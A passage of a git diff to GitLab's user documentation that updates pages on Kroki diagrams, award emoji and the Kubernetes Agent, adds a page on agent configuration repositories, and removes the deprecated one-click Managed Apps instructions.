+Read more in the [Kroki integration](../administration/integration/kroki.md) page.
+
+Once Kroki is enabled, you can create a wide variety of diagrams in AsciiDoc and Markdown documents.
+Here's an example using a GraphViz diagram:
+
+**AsciiDoc**
+
+```plaintext
+[graphviz]
+....
+digraph G {
+ Hello->World
+}
+....
+```
+
+**Markdown**
+
+````markdown
+```graphviz
+digraph G {
+ Hello->World
+}
+```
+````
+
#### PlantUML
To make PlantUML available in GitLab, a GitLab administrator needs to enable it first.
diff --git a/doc/user/award_emojis.md b/doc/user/award_emojis.md
index 47249a44bc1..4ece94447bc 100644
--- a/doc/user/award_emojis.md
+++ b/doc/user/award_emojis.md
@@ -1,10 +1,10 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Award emoji
+# Award emoji **(CORE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1825) in GitLab 8.2.
> - GitLab 9.0 [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9570) the usage of native emoji if the platform
@@ -46,7 +46,7 @@ celebrate an accomplishment or agree with an opinion.
To:
- Add an award emoji, click the smile in the top right of the comment and pick an emoji from the dropdown.
-- Remove an award emoji, click the emoji again and the vote will be removed.
+- Remove an award emoji, click the emoji again.
![Picking an emoji for a comment](img/award_emoji_comment_picker.png)
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
index 74c679d9bb9..5963485aebc 100644
--- a/doc/user/clusters/agent/index.md
+++ b/doc/user/clusters/agent/index.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Kubernetes Agent **(PREMIUM ONLY)**
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
> - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834).
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent)
@@ -56,6 +56,12 @@ There are several components that work in concert for the Agent to accomplish Gi
These repositories might be the same GitLab project or separate projects.
+NOTE:
+GitLab recommends you use the same GitLab project for the agent configuration
+and manifest repositories. Our backlog contains issues for adding support for
+[private manifest repositories outside of the configuration project](https://gitlab.com/gitlab-org/gitlab/-/issues/220912) and
+[group level agents](https://gitlab.com/gitlab-org/gitlab/-/issues/283885).
+
For more details, please refer to our [full architecture documentation](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md#high-level-architecture) in the Agent project.
## Get started with GitOps and the GitLab Agent
@@ -82,8 +88,8 @@ Upgrade your agent installations together with GitLab upgrades. To decide which
1. Open the [GITLAB_KAS_VERSION](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_KAS_VERSION) file from the GitLab Repository, which contains the latest `agentk` version associated with the `master` branch.
1. Change the `master` branch and select the Git tag associated with your version. For instance, you could change it to GitLab [v13.5.3-ee release](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.5.3-ee/GITLAB_KAS_VERSION)
-The available `agentk` versions can be found in
-[its container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/eyJuYW1lIjoiZ2l0bGFiLW9yZy9jbHVzdGVyLWludGVncmF0aW9uL2dpdGxhYi1hZ2VudC9hZ2VudGsiLCJ0YWdzX3BhdGgiOiIvZ2l0bGFiLW9yZy9jbHVzdGVyLWludGVncmF0aW9uL2dpdGxhYi1hZ2VudC9yZWdpc3RyeS9yZXBvc2l0b3J5LzEyMjMyMDUvdGFncz9mb3JtYXQ9anNvbiIsImlkIjoxMjIzMjA1LCJjbGVhbnVwX3BvbGljeV9zdGFydGVkX2F0IjpudWxsfQ==).
+The available `agentk` and `kas` versions can be found in
+[the container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/).
### Install the Kubernetes Agent Server
@@ -93,7 +99,7 @@ chart](https://gitlab.com/gitlab-org/charts/gitlab). If you don't already have
GitLab installed, please refer to our [installation
documentation](https://docs.gitlab.com/ee/install/README.html).
-NOTE: **Note:**
+NOTE:
GitLab plans to include the KAS on [GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/3834).
#### Install with Omnibus
@@ -161,23 +167,9 @@ gitops:
```
GitLab [versions 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) also
-supports manifest projects containing multiple directories (or subdirectories)
-of YAML files. To use multiple YAML files, specify a `paths` attribute:
-
-```yaml
-gitops:
- manifest_projects:
- - id: "path-to/your-manifest-project-number1"
- paths:
- # Read all .yaml files from team1/app1 directory.
- # See https://github.com/bmatcuk/doublestar#about and
- # https://pkg.go.dev/github.com/bmatcuk/doublestar/v2#Match for globbing rules.
- - glob: '/team1/app1/*.yaml'
- # Read all .yaml files from team2/apps and all subdirectories
- - glob: '/team2/apps/**/*.yaml'
- # If 'paths' is not specified or is an empty list, the configuration below is used
- - glob: '/**/*.{yaml,yml,json}'
-```
+supports manifest projects containing
+multiple directories (or subdirectories) of YAML files. For more information see our
+documentation on the [Kubernetes Agent configuration respository](repository.md).
### Create an Agent record in GitLab
@@ -223,7 +215,7 @@ the Agent in subsequent steps. You can create an Agent record either:
}
```
- NOTE: **Note:**
+ NOTE:
GraphQL only displays the token one time after creating it.
If you are new to using the GitLab GraphQL API, refer to the
@@ -257,11 +249,14 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways
The agent can use the WebSockets or gRPC protocols to connect to the Agent Server.
Select the option appropriate for your cluster configuration and GitLab architecture:
- The `wss` scheme (an encrypted WebSockets connection) is specified by default
- after you install `gitlab-kas` sub-chart or enable `kas` for Omnibus GitLab.
- In this case, you must set `wss://GitLab.host.tld:443/-/kubernetes-agent` as
+ after you install the `gitlab-kas` sub-chart, or enable `gitlab-kas` for Omnibus GitLab.
+ When using the sub-chart, you must set `wss://kas.host.tld:443` as
+ `kas-address`, where `host.tld` is the domain you've setup for your GitLab installation.
+ When using Omnibus GitLab, you must set `wss://GitLab.host.tld:443/-/kubernetes-agent` as
`kas-address`, where `GitLab.host.tld` is your GitLab hostname.
- - Specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`)
+ - When using the sub-chart, specify the `ws` scheme (such as `ws://kas.host.tld:80`)
to use an unencrypted WebSockets connection.
+ When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`).
- Specify the `grpc` scheme if both Agent and Server are installed in one cluster.
In this case, you may specify `kas-address` value as
`grpc://gitlab-kas.<your-namespace>:5005`) to use gRPC directly, where `gitlab-kas`
@@ -270,6 +265,10 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways
Follow the
[Support TLS for gRPC communication issue](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/7)
for progress updates.
+ - When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the `kas-address` for `wss` and `ws` schemes to whatever you need.
+ Check the [chart's KAS Ingress docs](https://docs.gitlab.com/charts/charts/gitlab/kas/#ingress)
+ to learn more about it.
+ - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details.
- If you defined your own secret name, replace `gitlab-agent-token` with your
secret name in the `secretName:` section.
@@ -317,7 +316,8 @@ spec:
args:
- --token-file=/config/token
- --kas-address
- - wss://gitlab.host.tld:443/-/kubernetes-agent
+ - wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab
+ # - wss://gitlab.host.tld:443/-/kubernetes-agent
volumeMounts:
- name: token-volume
mountPath: /config
@@ -392,9 +392,12 @@ subjects:
In a previous step, you configured a `config.yaml` to point to the GitLab projects
the Agent should synchronize. In each of those projects, you must create a `manifest.yaml`
file for the Agent to monitor. You can auto-generate this `manifest.yaml` with a
-templating engine or other means. Only public projects are supported as
-manifest projects. Support for private projects is planned in the issue
-[Agent authorization for private manifest projects](https://gitlab.com/gitlab-org/gitlab/-/issues/220912).
+templating engine or other means.
+
+The agent is authorized to download manifests for the configuration
+project, and public projects. Support for other private projects is
+planned in the issue [Agent authorization for private manifest
+projects](https://gitlab.com/gitlab-org/gitlab/-/issues/220912).
Each time you commit and push a change to this file, the Agent logs the change:
@@ -548,7 +551,7 @@ issue is in progress, directly edit the deployment with the
`kubectl edit deployment gitlab-kas` command, and change `--listen-websocket=true` to `--listen-websocket=false`. After running that command, you should be able to use
`grpc://gitlab-kas.<YOUR-NAMESPACE>:5005`.
-#### Agent logs - Decompressor is not installed for grpc-encoding
+### Agent logs - Decompressor is not installed for grpc-encoding
```plaintext
{"level":"warn","time":"2020-11-05T05:25:46.916Z","msg":"GetConfiguration.Recv failed","error":"rpc error: code = Unimplemented desc = grpc: Decompressor is not installed for grpc-encoding \"gzip\""}
diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md
new file mode 100644
index 00000000000..b71bbc29ef9
--- /dev/null
+++ b/doc/user/clusters/agent/repository.md
@@ -0,0 +1,96 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Kubernetes Agent configuration repository **(PREMIUM ONLY)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
+> - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+The [GitLab Kubernetes Agent integration](index.md) supports hosting your configuration for
+multiple GitLab Kubernetes Agents in a single repository. These agents can be running
+in the same cluster or in multiple clusters, and potentially with more than one Agent per cluster.
+
+The Agent bootstraps with the GitLab installation URL and an authentication token,
+and you provide the rest of the configuration in your repository, following
+Infrastructure as Code (IaaC) best practices.
+
+A minimal repository layout looks like this, with `my_agent_1` as the name
+of your Agent:
+
+```plaintext
+|- .gitlab
+ |- agents
+ |- my_agent_1
+ |- config.yaml
+```
+
+## Synchronize manifest projects
+
+Your `config.yaml` file contains a `gitops` section, which contains a `manifest_projects`
+section. Each `id` in the `manifest_projects` section is the path to a Git repository
+with Kubernetes resource definitions in YAML or JSON format. The Agent monitors
+each project you declare, and when the project changes, GitLab deploys the changes
+using the Agent.
+
+To use multiple YAML files, specify a `paths` attribute in the `gitops` section.
+
+By default, the Agent monitors all
+[Kubernetes object types](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields).
+You can exclude some types of resources from monitoring. This enables you to reduce
+the permissions needed by the GitOps feature, through `resource_exclusions`.
+
+To enable a specific named resource, first use `resource_inclusions` to enable desired resources.
+The following file excerpt includes specific `api_groups` and `kinds`. The `resource_exclusions`
+which follow excludes all other `api_groups` and `kinds`:
+
+```yaml
+gitops:
+ # Manifest projects are watched by the agent. Whenever a project changes,
+ # GitLab deploys the changes using the agent.
+ manifest_projects:
+ # No authentication mechanisms are currently supported.
+ # The `id` is a path to a Git repository with Kubernetes resource definitions
+ # in YAML or JSON format.
+ - id: gitlab-org/cluster-integration/gitlab-agent
+ # Holds the only API groups and kinds of resources that gitops will monitor.
+ # Inclusion rules are evaluated first, then exclusion rules.
+ # If there is still no match, resource is monitored.
+ # Resources: https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields
+ # Groups: https://kubernetes.io/docs/concepts/overview/kubernetes-api/#api-groups-and-versioning
+ resource_inclusions:
+ - api_groups:
+ - apps
+ kinds:
+ - '*'
+ - api_groups:
+ - ''
+ kinds:
+ - 'ConfigMap'
+ # Holds the API groups and kinds of resources to exclude from gitops watch.
+ # Inclusion rules are evaluated first, then exclusion rules.
+ # If there is still no match, resource is monitored.
+ resource_exclusions:
+ - api_groups:
+ - '*'
+ kinds:
+ - '*'
+ # Namespace to use if not set explicitly in object manifest.
+ default_namespace: my-ns
+ # Paths inside of the repository to scan for manifest files.
+ # Directories with names starting with a dot are ignored.
+ paths:
+ # Read all .yaml files from team1/app1 directory.
+ # See https://github.com/bmatcuk/doublestar#about and
+ # https://pkg.go.dev/github.com/bmatcuk/doublestar/v2#Match for globbing rules.
+ - glob: '/team1/app1/*.yaml'
+ # Read all .yaml files from team2/apps and all subdirectories
+ - glob: '/team2/apps/**/*.yaml'
+ # If 'paths' is not specified or is an empty list, the configuration below is used
+ - glob: '/**/*.{yaml,yml,json}'
+```
diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md
index 67a53fa773f..53be7e995d5 100644
--- a/doc/user/clusters/applications.md
+++ b/doc/user/clusters/applications.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Managed Apps
@@ -10,595 +10,16 @@ GitLab provides **GitLab Managed Apps** for various
applications which can be added directly to your configured cluster. These
applications are needed for [Review Apps](../../ci/review_apps/index.md) and
[deployments](../../ci/environments/index.md) when using [Auto DevOps](../../topics/autodevops/index.md).
-You can install them after you [create a cluster](../project/clusters/add_remove_clusters.md). GitLab provides
-GitLab Managed Apps that can installed with [one-click](#install-with-one-click) or [using CI/CD](#install-using-gitlab-cicd-alpha).
+You can install them after you [create a cluster](../project/clusters/add_remove_clusters.md).
+GitLab provides GitLab Managed Apps [using CI/CD](#install-using-gitlab-cicd).
+GitLab Managed Apps with [one-click installations](#install-with-one-click)
+have been deprecated, and are scheduled for removal in GitLab 14.0.
-## Install with one click
-
-Applications managed by GitLab are installed onto the `gitlab-managed-apps`
-namespace. This namespace:
-
-- Is different from the namespace used for project deployments.
-- Is created once.
-- Has a non-configurable name.
-
-To view a list of available applications to install for a:
-
-- [Project-level cluster](../project/clusters/index.md), navigate to your project's
- **Operations > Kubernetes**.
-- [Group-level cluster](../group/clusters/index.md), navigate to your group's
- **Kubernetes** page.
-
-You can install the following applications with one click:
-
-- [Helm](#helm)
-- [Ingress](#ingress)
-- [cert-manager](#cert-manager)
-- [Prometheus](#prometheus)
-- [GitLab Runner](#gitlab-runner)
-- [JupyterHub](#jupyterhub)
-- [Knative](#knative)
-- [Crossplane](#crossplane)
-- [Elastic Stack](#elastic-stack)
-- [Fluentd](#fluentd)
-
-With the exception of Knative, the applications are installed in a dedicated
-namespace called `gitlab-managed-apps`.
-
-Some applications are installable only for a project-level cluster.
-Support for installing these applications in a group-level cluster is
-planned for future releases.
-For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411).
-
-CAUTION: **Caution:**
-If you have an existing Kubernetes cluster with Helm already installed,
-you should be careful as GitLab cannot detect it. In this case, installing
-Helm with the applications results in the cluster having it twice, which
-can lead to confusion during deployments.
-
-In GitLab versions 11.6 and greater, Helm is upgraded to the latest version
-supported by GitLab before installing any of the applications.
-
-### Helm
-
-> - Introduced in GitLab 10.2 for project-level clusters.
-> - Introduced in GitLab 11.6 for group-level clusters.
-> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later.
-> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later.
-
-[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is
-used to install the GitLab-managed apps. GitLab runs each `helm` command
-in a pod within the `gitlab-managed-apps` namespace inside the cluster.
-
-- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage
- applications.
-- For clusters created on versions of GitLab prior to 13.6, GitLab uses
- Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server.
- Prior to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736),
- GitLab used an in-cluster Tiller server in the `gitlab-managed-apps`
- namespace. You can safely remove this server after upgrading to GitLab 13.2
- or newer.
-
-GitLab's Helm integration does not support installing applications behind a proxy,
-but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy)
-is available.
-
-#### Upgrade a cluster to Helm 3
-
-GitLab does not currently offer a way to migrate existing application management
-on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3:
-
-1. Uninstall all applications on your cluster.
-1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration).
-1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as
- an existing cluster.
-
-### cert-manager
-
-> Introduced in GitLab 11.6 for project- and group-level clusters.
-
-[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate
-management controller that helps with issuing certificates. Installing
-cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/)
-and ensures that certificates are valid and up-to-date.
-
-The chart used to install this application depends on the version of GitLab used. In:
-
-- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager)
- chart is used with a [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml)
- file.
-- GitLab 12.2 and older, the [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager)
- chart was used.
-
-If you installed cert-manager prior to GitLab 12.3, Let's Encrypt
-[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753)
-from older versions of `cert-manager`. To resolve this:
-
-1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/).
-1. Uninstall cert-manager.
-1. Install cert-manager again.
-
-### GitLab Runner
-
-> - Introduced in GitLab 10.6 for project-level clusters.
-> - Introduced in GitLab 11.10 for group-level clusters.
-
-[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that
-is used to run your jobs and send the results back to GitLab. It's used in
-conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous
-integration service included with GitLab that coordinates the jobs.
-
-If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners)
-are available. You don't have to deploy one if they are enough for your
-needs. If a project-specific runner is desired, or there are no shared runners,
-you can deploy one.
-
-The deployed runner is set as **privileged**. Root access to the underlying
-server is required to build Docker images, so it's the default. Be sure to read
-the [security implications](../project/clusters/index.md#security-implications)
-before deploying one.
-
-The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner)
-chart is used to install this application, using
-[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml)
-file. Customizing the installation by modifying this file is not supported. This
-also means you cannot modify `config.toml` file for this Runner. If you want to
-have that possibility and still deploy Runner in Kubernetes, consider using the
-[Cluster management project](management_project.md) or installing Runner manually
-via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html).
-
-### Ingress
-
-> - Introduced in GitLab 10.2 for project-level clusters.
-> - Introduced in GitLab 11.6 for group-level clusters.
-
-[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
-provides load balancing, SSL termination, and name-based virtual hosting
-out of the box. It acts as a web proxy for your applications and is useful
-if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps.
-
-The Ingress Controller installed is
-[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/),
-which is supported by the Kubernetes community.
-
-With the following procedure, a load balancer must be installed in your cluster
-to obtain the endpoint. You can use either
-Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative.
-
-To publish your web application, you first need to find the endpoint, which is either an IP
-address or a hostname associated with your load balancer.
-
-To install it, click on the **Install** button for Ingress. GitLab attempts
-to determine the external endpoint and it should be available within a few minutes.
-
-#### Determining the external endpoint automatically
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6.
-
-After you install Ingress, the external endpoint should be available within a few minutes.
-
-TIP: **Tip:**
-This endpoint can be used for the
-[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain)
-using the `KUBE_INGRESS_BASE_DOMAIN` environment variable.
-
-If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine:
-
-1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes)
- on Google Kubernetes Engine to ensure there are no errors on its nodes.
-1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas)
- on Google Kubernetes Engine. For more information, see
- [Resource Quotas](https://cloud.google.com/compute/quotas).
-1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service
- disruptions.
-
-The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml)
-file.
-
-After installing, you may see a `?` for **Ingress IP Address** depending on the
-cloud provider. For EKS specifically, this is because the ELB is created
-with a DNS name, not an IP address. If GitLab is still unable to
-determine the endpoint of your Ingress or Knative application, you can
-[determine it manually](#determining-the-external-endpoint-manually).
-
-#### Determining the external endpoint manually
-
-If the cluster is on GKE, click the **Google Kubernetes Engine** link in the
-**Advanced settings**, or go directly to the
-[Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/)
-and select the proper project and cluster. Then click **Connect** and execute
-the `gcloud` command in a local terminal or using the **Cloud Shell**.
-
-If the cluster is not on GKE, follow the specific instructions for your
-Kubernetes provider to configure `kubectl` with the right credentials.
-The output of the following examples show the external endpoint of your
-cluster. This information can then be used to set up DNS entries and forwarding
-rules that allow external access to your deployed applications.
-
-- If you installed Ingress using the **Applications**, run the following
- command:
-
- ```shell
- kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}'
- ```
-
-- Some Kubernetes clusters return a hostname instead, like
- [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run:
-
- ```shell
- kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}'
- ```
-
- If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/)
- is also created, which will incur additional AWS costs.
-
-- For Istio/Knative, the command is different:
-
- ```shell
- kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} '
- ```
-
-- Otherwise, you can list the IP addresses of all load balancers:
-
- ```shell
- kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} '
- ```
-
-You may see a trailing `%` on some Kubernetes versions. Do not include it.
-
-The Ingress is now available at this address, and routes incoming requests to
-the proper service based on the DNS name in the request. To support this, create
-a wildcard DNS CNAME record for the desired domain name. For example,
-`*.myekscluster.com` would point to the Ingress hostname obtained earlier.
-
-#### Using a static IP
-
-By default, an ephemeral external IP address is associated to the cluster's load
-balancer. If you associate the ephemeral IP with your DNS and the IP changes,
-your apps won't be reachable, and you'd have to change the DNS record again.
-To avoid that, change it into a static reserved IP.
-
-Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip).
-
-#### Pointing your DNS at the external endpoint
-
-After you have set up the external endpoint, associate it with a
-[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such
-as `*.example.com.`) to reach your apps. If your external endpoint is an IP
-address, use an A record. If your external endpoint is a hostname, use a CNAME
-record.
-
-#### Web Application Firewall (ModSecurity)
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7.
-
-A Web Application Firewall (WAF) examines traffic being sent or received,
-and can block malicious traffic before it reaches your application. The benefits
-of a WAF are:
-
-- Real-time security monitoring for your application.
-- Logging of all your HTTP traffic to the application.
-- Access control for your application.
-- Highly configurable logging and blocking rules.
-
-By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/),
-which is a toolkit for real-time web application monitoring, logging, and access
-control. GitLab's offering applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/),
-which provides generic attack detection capabilities.
-
-This feature:
-
-- Runs in "Detection-only mode" unless configured otherwise.
-- Is viewable by checking your Ingress controller's `modsec` log for rule violations.
- For example:
-
- ```shell
- kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f
- ```
-
-To enable WAF, switch its respective toggle to the enabled position when installing or updating [Ingress application](#ingress).
-
-If this is your first time using GitLab's WAF, we recommend you follow the
-[quick start guide](../../topics/web_application_firewall/quick_start_guide.md).
-
-There is a small performance overhead by enabling ModSecurity. If this is
-considered significant for your application, you can disable ModSecurity's
-rule engine for your deployed application in any of the following ways:
-
-1. Set the [deployment variable](../../topics/autodevops/index.md)
- `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity
- from processing any requests for the given application or environment.
-1. Switch its respective toggle to the disabled position, and then apply changes
- by selecting **Save changes** to reinstall Ingress with the recent changes.
-
-![Disabling WAF](../../topics/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png)
-
-##### Logging and blocking modes
-
-To help you tune your WAF rules, you can globally set your WAF to either
-*Logging* or *Blocking* mode:
-
-- *Logging mode*: Allows traffic matching the rule to pass, and logs the event.
-- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event.
-
-To change your WAF's mode:
-
-1. If you haven't already done so, [install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md).
-1. Navigate to **Operations > Kubernetes**.
-1. In **Applications**, scroll to **Ingress**.
-1. Under **Global default**, select your desired mode.
-1. Select **Save changes**.
-
-##### WAF version updates
-
-Enabling, disabling, or changing the logging mode for **ModSecurity** is only
-allowed within same version of [Ingress](#ingress) due to limitations in
-[Helm](https://helm.sh/) which might be overcome in future releases.
-
-**ModSecurity** user interface controls are disabled if the version deployed
-differs from the one available in GitLab, while actions at the [Ingress](#ingress)
-level, such as uninstalling, can still be performed:
-
-![WAF settings disabled](../../topics/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png)
-
-Update [Ingress](#ingress) to the most recent version to take advantage of bug
-fixes, security fixes, and performance improvements. To update the
-[Ingress application](#ingress), you must first uninstall it, and then re-install
-it as described in [Install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md).
-
-##### Viewing Web Application Firewall traffic
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
-
-You can view Web Application Firewall traffic by navigating to your project's
-**Security & Compliance > Threat Monitoring** page. From there, you can see
-tracked over time:
-
-- The total amount of traffic to your application.
-- The proportion of traffic that's considered anomalous by the Web Application
- Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/).
-
-If a significant percentage of traffic is anomalous, investigate it for potential threats
-by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity).
-
-![Threat Monitoring](img/threat_monitoring_v12_9.png)
-
-### JupyterHub
-
-> - Introduced in GitLab 11.0 for project-level clusters.
-> - Introduced in GitLab 12.3 for group and instance-level clusters.
-
-[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service
-for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/)
-provide a web-based interactive programming environment used for data analysis,
-visualization, and machine learning.
-
-The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml)
-file.
-
-Authentication is enabled only for [project members](../project/members/index.md)
-for project-level clusters and group members for group-level clusters with
-[Developer or higher](../permissions.md) access to the associated project or group.
-
-GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile)
-that installs additional useful packages on top of the base Jupyter. Ready-to-use
-DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix)
-are also available.
-
-More information on creating executable runbooks can be found in
-[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab).
-Ingress must be installed and have an IP address assigned before
-JupyterHub can be installed.
-
-#### Jupyter Git Integration
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters.
-
-When installing JupyterHub onto your Kubernetes cluster,
-[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git)
-is provisioned and configured using the authenticated user's:
-
-- Name.
-- Email.
-- Newly created access token.
-
-JupyterLab's Git extension enables full version control of your notebooks, and
-issuance of Git commands within Jupyter. You can issue Git commands through the
-**Git** tab on the left panel, or through Jupyter's command-line prompt.
-
